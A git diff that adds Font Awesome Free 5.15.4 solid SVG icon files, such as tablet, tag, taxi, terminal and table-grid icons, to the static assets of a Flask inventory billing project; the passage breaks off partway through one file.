Flask/static/font-awesome/svgs/solid/tablet-alt.svg new file mode 100644 index 00000000..b06ce66c --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/tablet-alt.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M400 0H48C21.5 0 0 21.5 0 48v416c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V48c0-26.5-21.5-48-48-48zM224 480c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32zm176-108c0 6.6-5.4 12-12 12H60c-6.6 0-12-5.4-12-12V60c0-6.6 5.4-12 12-12h328c6.6 0 12 5.4 12 12v312z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/tablet.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/tablet.svg new file mode 100644 index 00000000..a192f678 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/tablet.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M400 0H48C21.5 0 0 21.5 0 48v416c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V48c0-26.5-21.5-48-48-48zM224 480c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/tablets.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/tablets.svg new file mode 100644 index 00000000..7f74c5c5 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/tablets.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M160 192C78.9 192 12.5 250.5.1 326.7c-.8 4.8 3.3 9.3 8.3 9.3h303.3c5 0 9.1-4.5 8.3-9.3C307.5 250.5 241.1 192 160 192zm151.6 176H8.4c-5 0-9.1 4.5-8.3 9.3C12.5 453.5 78.9 512 160 512s147.5-58.5 159.9-134.7c.8-4.8-3.3-9.3-8.3-9.3zM593.4 46.6c-56.5-56.5-144.2-61.4-206.9-16-4 2.9-4.3 8.9-.8 12.3L597 254.3c3.5 3.5 9.5 3.2 12.3-.8 45.5-62.7 40.6-150.4-15.9-206.9zM363 65.7c-3.5-3.5-9.5-3.2-12.3.8-45.4 62.7-40.5 150.4 15.9 206.9 56.5 56.5 144.2 61.4 206.9 15.9 4-2.9 4.3-8.9.8-12.3L363 65.7z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/tachometer-alt.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/tachometer-alt.svg new file mode 100644 index 00000000..4ea65e97 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/tachometer-alt.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 576 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M288 32C128.94 32 0 160.94 0 320c0 52.8 14.25 102.26 39.06 144.8 5.61 9.62 16.3 15.2 27.44 15.2h443c11.14 0 21.83-5.58 27.44-15.2C561.75 422.26 576 372.8 576 320c0-159.06-128.94-288-288-288zm0 64c14.71 0 26.58 10.13 30.32 23.65-1.11 2.26-2.64 4.23-3.45 6.67l-9.22 27.67c-5.13 3.49-10.97 6.01-17.64 6.01-17.67 0-32-14.33-32-32S270.33 96 288 96zM96 384c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm48-160c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm246.77-72.41l-61.33 184C343.13 347.33 352 364.54 352 384c0 11.72-3.38 22.55-8.88 32H232.88c-5.5-9.45-8.88-20.28-8.88-32 0-33.94 26.5-61.43 59.9-63.59l61.34-184.01c4.17-12.56 17.73-19.45 30.36-15.17 12.57 4.19 19.35 17.79 15.17 30.36zm14.66 57.2l15.52-46.55c3.47-1.29 7.13-2.23 11.05-2.23 17.67 0 32 14.33 32 32s-14.33 32-32 32c-11.38-.01-20.89-6.28-26.57-15.22zM480 384c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/tag.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/tag.svg new file mode 100644 index 00000000..1d5ba3db --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/tag.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M0 252.118V48C0 21.49 21.49 0 48 0h204.118a48 48 0 0 1 33.941 14.059l211.882 211.882c18.745 18.745 18.745 49.137 0 67.882L293.823 497.941c-18.745 18.745-49.137 18.745-67.882 0L14.059 286.059A48 48 0 0 1 0 252.118zM112 64c-26.51 0-48 21.49-48 48s21.49 48 48 48 48-21.49 48-48-21.49-48-48-48z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/tags.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/tags.svg new file mode 100644 index 00000000..0ca0a315 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/tags.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M497.941 225.941L286.059 14.059A48 48 0 0 0 252.118 0H48C21.49 0 0 21.49 0 48v204.118a48 48 0 0 0 14.059 33.941l211.882 211.882c18.744 18.745 49.136 18.746 67.882 0l204.118-204.118c18.745-18.745 18.745-49.137 0-67.882zM112 160c-26.51 0-48-21.49-48-48s21.49-48 48-48 48 21.49 48 48-21.49 48-48 48zm513.941 133.823L421.823 497.941c-18.745 18.745-49.137 18.745-67.882 0l-.36-.36L527.64 323.522c16.999-16.999 26.36-39.6 26.36-63.64s-9.362-46.641-26.36-63.64L331.397 0h48.721a48 48 0 0 1 33.941 14.059l211.882 211.882c18.745 18.745 18.745 49.137 0 67.882z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/tape.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/tape.svg new file mode 100644 index 00000000..6de8f7d0 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/tape.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M224 192c-35.3 0-64 28.7-64 64s28.7 64 64 64 64-28.7 64-64-28.7-64-64-64zm400 224H380.6c41.5-40.7 67.4-97.3 67.4-160 0-123.7-100.3-224-224-224S0 132.3 0 256s100.3 224 224 224h400c8.8 0 16-7.2 16-16v-32c0-8.8-7.2-16-16-16zm-400-64c-53 0-96-43-96-96s43-96 96-96 96 43 96 96-43 96-96 96z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/tasks.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/tasks.svg new file mode 100644 index 00000000..6e93b3fb --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/tasks.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M139.61 35.5a12 12 0 0 0-17 0L58.93 98.81l-22.7-22.12a12 12 0 0 0-17 0L3.53 92.41a12 12 0 0 0 0 17l47.59 47.4a12.78 12.78 0 0 0 17.61 0l15.59-15.62L156.52 69a12.09 12.09 0 0 0 .09-17zm0 159.19a12 12 0 0 0-17 0l-63.68 63.72-22.7-22.1a12 12 0 0 0-17 0L3.53 252a12 12 0 0 0 0 17L51 316.5a12.77 12.77 0 0 0 17.6 0l15.7-15.69 72.2-72.22a12 12 0 0 0 .09-16.9zM64 368c-26.49 0-48.59 21.5-48.59 48S37.53 464 64 464a48 48 0 0 0 0-96zm432 16H208a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h288a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm0-320H208a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h288a16 16 0 0 0 16-16V80a16 16 0 0 0-16-16zm0 160H208a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h288a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/taxi.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/taxi.svg new file mode 100644 index 00000000..b2fc9b4c --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/taxi.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M462 241.64l-22-84.84c-9.6-35.2-41.6-60.8-76.8-60.8H352V64c0-17.67-14.33-32-32-32H192c-17.67 0-32 14.33-32 32v32h-11.2c-35.2 0-67.2 25.6-76.8 60.8l-22 84.84C21.41 248.04 0 273.47 0 304v48c0 23.63 12.95 44.04 32 55.12V448c0 17.67 14.33 32 32 32h32c17.67 0 32-14.33 32-32v-32h256v32c0 17.67 14.33 32 32 32h32c17.67 0 32-14.33 32-32v-40.88c19.05-11.09 32-31.5 32-55.12v-48c0-30.53-21.41-55.96-50-62.36zM96 352c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm20.55-112l17.2-66.36c2.23-8.16 9.59-13.64 15.06-13.64h214.4c5.47 0 12.83 5.48 14.85 12.86L395.45 240h-278.9zM416 352c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/teeth-open.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/teeth-open.svg new file mode 100644 index 00000000..5cf0b5f8 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/teeth-open.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M544 0H96C42.98 0 0 42.98 0 96v64c0 35.35 28.66 64 64 64h512c35.34 0 64-28.65 64-64V96c0-53.02-42.98-96-96-96zM160 176c0 8.84-7.16 16-16 16H80c-8.84 0-16-7.16-16-16v-32c0-26.51 21.49-48 48-48s48 21.49 48 48v32zm144 0c0 8.84-7.16 16-16 16h-80c-8.84 0-16-7.16-16-16v-56c0-30.93 25.07-56 56-56s56 25.07 56 56v56zm144 0c0 8.84-7.16 16-16 16h-80c-8.84 0-16-7.16-16-16v-56c0-30.93 25.07-56 56-56s56 25.07 56 56v56zm128 0c0 8.84-7.16 16-16 16h-64c-8.84 0-16-7.16-16-16v-32c0-26.51 21.49-48 48-48s48 21.49 48 48v32zm0 144H64c-35.34 0-64 28.65-64 64v32c0 53.02 42.98 96 96 96h448c53.02 0 96-42.98 96-96v-32c0-35.35-28.66-64-64-64zm-416 80c0 26.51-21.49 48-48 48s-48-21.49-48-48v-32c0-8.84 7.16-16 16-16h64c8.84 0 16 7.16 16 16v32zm144-8c0 30.93-25.07 56-56 56s-56-25.07-56-56v-24c0-8.84 7.16-16 16-16h80c8.84 0 16 7.16 16 16v24zm144 0c0 30.93-25.07 56-56 56s-56-25.07-56-56v-24c0-8.84 7.16-16 16-16h80c8.84 0 16 7.16 16 16v24zm128 8c0 26.51-21.49 48-48 48s-48-21.49-48-48v-32c0-8.84 7.16-16 16-16h64c8.84 0 16 7.16 16 16v32z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/teeth.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/teeth.svg new file mode 100644 index 00000000..8dad3f48 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/teeth.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M544 0H96C42.98 0 0 42.98 0 96v320c0 53.02 42.98 96 96 96h448c53.02 0 96-42.98 96-96V96c0-53.02-42.98-96-96-96zM160 368c0 26.51-21.49 48-48 48s-48-21.49-48-48v-64c0-8.84 7.16-16 16-16h64c8.84 0 16 7.16 16 16v64zm0-128c0 8.84-7.16 16-16 16H80c-8.84 0-16-7.16-16-16v-64c0-26.51 21.49-48 48-48s48 21.49 48 48v64zm144 120c0 30.93-25.07 56-56 56s-56-25.07-56-56v-56c0-8.84 7.16-16 16-16h80c8.84 0 16 7.16 16 16v56zm0-120c0 8.84-7.16 16-16 16h-80c-8.84 0-16-7.16-16-16v-88c0-30.93 25.07-56 56-56s56 25.07 56 56v88zm144 120c0 30.93-25.07 56-56 56s-56-25.07-56-56v-56c0-8.84 7.16-16 16-16h80c8.84 0 16 7.16 16 16v56zm0-120c0 8.84-7.16 16-16 16h-80c-8.84 0-16-7.16-16-16v-88c0-30.93 25.07-56 56-56s56 25.07 56 56v88zm128 128c0 26.51-21.49 48-48 48s-48-21.49-48-48v-64c0-8.84 7.16-16 16-16h64c8.84 0 16 7.16 16 16v64zm0-128c0 8.84-7.16 16-16 16h-64c-8.84 0-16-7.16-16-16v-64c0-26.51 21.49-48 48-48s48 21.49 48 48v64z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/temperature-high.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/temperature-high.svg new file mode 100644 index 00000000..e12454e5 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/temperature-high.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M416 0c-52.9 0-96 43.1-96 96s43.1 96 96 96 96-43.1 96-96-43.1-96-96-96zm0 128c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32zm-160-16C256 50.1 205.9 0 144 0S32 50.1 32 112v166.5C12.3 303.2 0 334 0 368c0 79.5 64.5 144 144 144s144-64.5 144-144c0-34-12.3-64.9-32-89.5V112zM144 448c-44.1 0-80-35.9-80-80 0-25.5 12.2-48.9 32-63.8V112c0-26.5 21.5-48 48-48s48 21.5 48 48v192.2c19.8 14.8 32 38.3 32 63.8 0 44.1-35.9 80-80 80zm16-125.1V112c0-8.8-7.2-16-16-16s-16 7.2-16 16v210.9c-18.6 6.6-32 24.2-32 45.1 0 26.5 21.5 48 48 48s48-21.5 48-48c0-20.9-13.4-38.5-32-45.1z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/temperature-low.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/temperature-low.svg new file mode 100644 index 00000000..602ea028 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/temperature-low.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M416 0c-52.9 0-96 43.1-96 96s43.1 96 96 96 96-43.1 96-96-43.1-96-96-96zm0 128c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32zm-160-16C256 50.1 205.9 0 144 0S32 50.1 32 112v166.5C12.3 303.2 0 334 0 368c0 79.5 64.5 144 144 144s144-64.5 144-144c0-34-12.3-64.9-32-89.5V112zM144 448c-44.1 0-80-35.9-80-80 0-25.5 12.2-48.9 32-63.8V112c0-26.5 21.5-48 48-48s48 21.5 48 48v192.2c19.8 14.8 32 38.3 32 63.8 0 44.1-35.9 80-80 80zm16-125.1V304c0-8.8-7.2-16-16-16s-16 7.2-16 16v18.9c-18.6 6.6-32 24.2-32 45.1 0 26.5 21.5 48 48 48s48-21.5 48-48c0-20.9-13.4-38.5-32-45.1z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/tenge.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/tenge.svg new file mode 100644 index 00000000..df8c29b7 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/tenge.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 384 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M372 160H12c-6.6 0-12 5.4-12 12v56c0 6.6 5.4 12 12 12h140v228c0 6.6 5.4 12 12 12h56c6.6 0 12-5.4 12-12V240h140c6.6 0 12-5.4 12-12v-56c0-6.6-5.4-12-12-12zm0-128H12C5.4 32 0 37.4 0 44v56c0 6.6 5.4 12 12 12h360c6.6 0 12-5.4 12-12V44c0-6.6-5.4-12-12-12z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/terminal.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/terminal.svg new file mode 100644 index 00000000..8795dba2 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/terminal.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M257.981 272.971L63.638 467.314c-9.373 9.373-24.569 9.373-33.941 0L7.029 444.647c-9.357-9.357-9.375-24.522-.04-33.901L161.011 256 6.99 101.255c-9.335-9.379-9.317-24.544.04-33.901l22.667-22.667c9.373-9.373 24.569-9.373 33.941 0L257.981 239.03c9.373 9.372 9.373 24.568 0 33.941zM640 456v-32c0-13.255-10.745-24-24-24H312c-13.255 0-24 10.745-24 24v32c0 13.255 10.745 24 24 24h304c13.255 0 24-10.745 24-24z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/text-height.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/text-height.svg new file mode 100644 index 00000000..c4dd5e86 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/text-height.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 576 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M304 32H16A16 16 0 0 0 0 48v96a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16v-32h56v304H80a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h160a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16h-40V112h56v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16V48a16 16 0 0 0-16-16zm256 336h-48V144h48c14.31 0 21.33-17.31 11.31-27.31l-80-80a16 16 0 0 0-22.62 0l-80 80C379.36 126 384.36 144 400 144h48v224h-48c-14.31 0-21.32 17.31-11.31 27.31l80 80a16 16 0 0 0 22.62 0l80-80C580.64 386 575.64 368 560 368z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/text-width.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/text-width.svg new file mode 100644 index 00000000..27a35d87 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/text-width.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M432 32H16A16 16 0 0 0 0 48v80a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16v-16h120v112h-24a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h128a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16h-24V112h120v16a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16V48a16 16 0 0 0-16-16zm-68.69 260.69C354 283.36 336 288.36 336 304v48H112v-48c0-14.31-17.31-21.32-27.31-11.31l-80 80a16 16 0 0 0 0 22.62l80 80C94 484.64 112 479.64 112 464v-48h224v48c0 14.31 17.31 21.33 27.31 11.31l80-80a16 16 0 0 0 0-22.62z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/th-large.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/th-large.svg new file mode 100644 index 00000000..02bf0976 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/th-large.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M296 32h192c13.255 0 24 10.745 24 24v160c0 13.255-10.745 24-24 24H296c-13.255 0-24-10.745-24-24V56c0-13.255 10.745-24 24-24zm-80 0H24C10.745 32 0 42.745 0 56v160c0 13.255 10.745 24 24 24h192c13.255 0 24-10.745 24-24V56c0-13.255-10.745-24-24-24zM0 296v160c0 13.255 10.745 24 24 24h192c13.255 0 24-10.745 24-24V296c0-13.255-10.745-24-24-24H24c-13.255 0-24 10.745-24 24zm296 184h192c13.255 0 24-10.745 24-24V296c0-13.255-10.745-24-24-24H296c-13.255 0-24 10.745-24 24v160c0 13.255 10.745 24 24 24z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/th-list.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/th-list.svg new file mode 100644 index 00000000..88293d41 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/th-list.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M149.333 216v80c0 13.255-10.745 24-24 24H24c-13.255 0-24-10.745-24-24v-80c0-13.255 10.745-24 24-24h101.333c13.255 0 24 10.745 24 24zM0 376v80c0 13.255 10.745 24 24 24h101.333c13.255 0 24-10.745 24-24v-80c0-13.255-10.745-24-24-24H24c-13.255 0-24 10.745-24 24zM125.333 32H24C10.745 32 0 42.745 0 56v80c0 13.255 10.745 24 24 24h101.333c13.255 0 24-10.745 24-24V56c0-13.255-10.745-24-24-24zm80 448H488c13.255 0 24-10.745 24-24v-80c0-13.255-10.745-24-24-24H205.333c-13.255 0-24 10.745-24 24v80c0 13.255 10.745 24 24 24zm-24-424v80c0 13.255 10.745 24 24 24H488c13.255 0 24-10.745 24-24V56c0-13.255-10.745-24-24-24H205.333c-13.255 0-24 10.745-24 24zm24 264H488c13.255 0 24-10.745 24-24v-80c0-13.255-10.745-24-24-24H205.333c-13.255 0-24 10.745-24 24v80c0 13.255 10.745 24 24 24z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/th.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/th.svg new file mode 100644 index 00000000..df2bad57 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/th.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M149.333 56v80c0 13.255-10.745 24-24 24H24c-13.255 0-24-10.745-24-24V56c0-13.255 10.745-24 24-24h101.333c13.255 0 24 10.745 24 24zm181.334 240v-80c0-13.255-10.745-24-24-24H205.333c-13.255 0-24 10.745-24 24v80c0 13.255 10.745 24 24 24h101.333c13.256 0 24.001-10.745 24.001-24zm32-240v80c0 13.255 10.745 24 24 24H488c13.255 0 24-10.745 24-24V56c0-13.255-10.745-24-24-24H386.667c-13.255 0-24 10.745-24 24zm-32 80V56c0-13.255-10.745-24-24-24H205.333c-13.255 0-24 10.745-24 24v80c0 13.255 10.745 24 24 24h101.333c13.256 0 24.001-10.745 24.001-24zm-205.334 56H24c-13.255 0-24 10.745-24 24v80c0 13.255 10.745 24 24 24h101.333c13.255 0 24-10.745 24-24v-80c0-13.255-10.745-24-24-24zM0 376v80c0 13.255 10.745 24 24 24h101.333c13.255 0 24-10.745 24-24v-80c0-13.255-10.745-24-24-24H24c-13.255 0-24 10.745-24 24zm386.667-56H488c13.255 0 24-10.745 24-24v-80c0-13.255-10.745-24-24-24H386.667c-13.255 0-24 10.745-24 24v80c0 13.255 10.745 24 24 24zm0 160H488c13.255 0 24-10.745 24-24v-80c0-13.255-10.745-24-24-24H386.667c-13.255 0-24 10.745-24 24v80c0 13.255 10.745 24 24 24zM181.333 376v80c0 13.255 10.745 24 24 24h101.333c13.255 0 24-10.745 24-24v-80c0-13.255-10.745-24-24-24H205.333c-13.255 0-24 10.745-24 24z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/theater-masks.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/theater-masks.svg new file mode 100644 index 00000000..cd18beb0 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/theater-masks.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - 